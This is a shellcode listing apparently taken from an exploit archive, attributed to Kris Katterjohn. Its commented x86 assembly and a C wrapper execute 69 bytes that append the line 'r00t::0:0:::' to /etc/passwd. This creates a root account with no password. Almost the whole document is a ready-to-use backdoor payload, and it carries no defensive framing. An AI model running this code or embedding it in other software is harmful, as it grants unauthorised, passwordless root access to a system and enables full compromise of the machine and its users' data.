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linux/x86 add root user r00t with no password to /etc/passwd 69 bytes
===================================================================== linux/x86 add root user r00t with no password to /etc/passwd 69 bytes ===================================================================== /* By Kris Katterjohn 11/14/2006 * * 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd * * for Linux/x86 * * * * section .text * * global _start * * _start: * * ; open("/etc//passwd", O_WRONLY | O_APPEND) * * push byte 5 * pop eax * xor ecx, ecx * push ecx * push 0x64777373 * push 0x61702f2f * push 0x6374652f * mov ebx, esp * mov cx, 02001Q * int 0x80 * * mov ebx, eax * * ; write(ebx, "r00t::0:0:::", 12) * * push byte 4 * pop eax * xor edx, edx * push edx * push 0x3a3a3a30 * push 0x3a303a3a * push 0x74303072 * mov ecx, esp * push byte 12 * pop edx * int 0x80 * * ; close(ebx) * * push byte 6 * pop eax * int 0x80 * * ; exit() * * push byte 1 * pop eax * int 0x80 */ main() { char shellcode[] = "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68" "\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66" "\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2" "\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68" "\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a" "\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80"; (*(void (*)()) shellcode)(); } # 0day.today [2024-12-25] #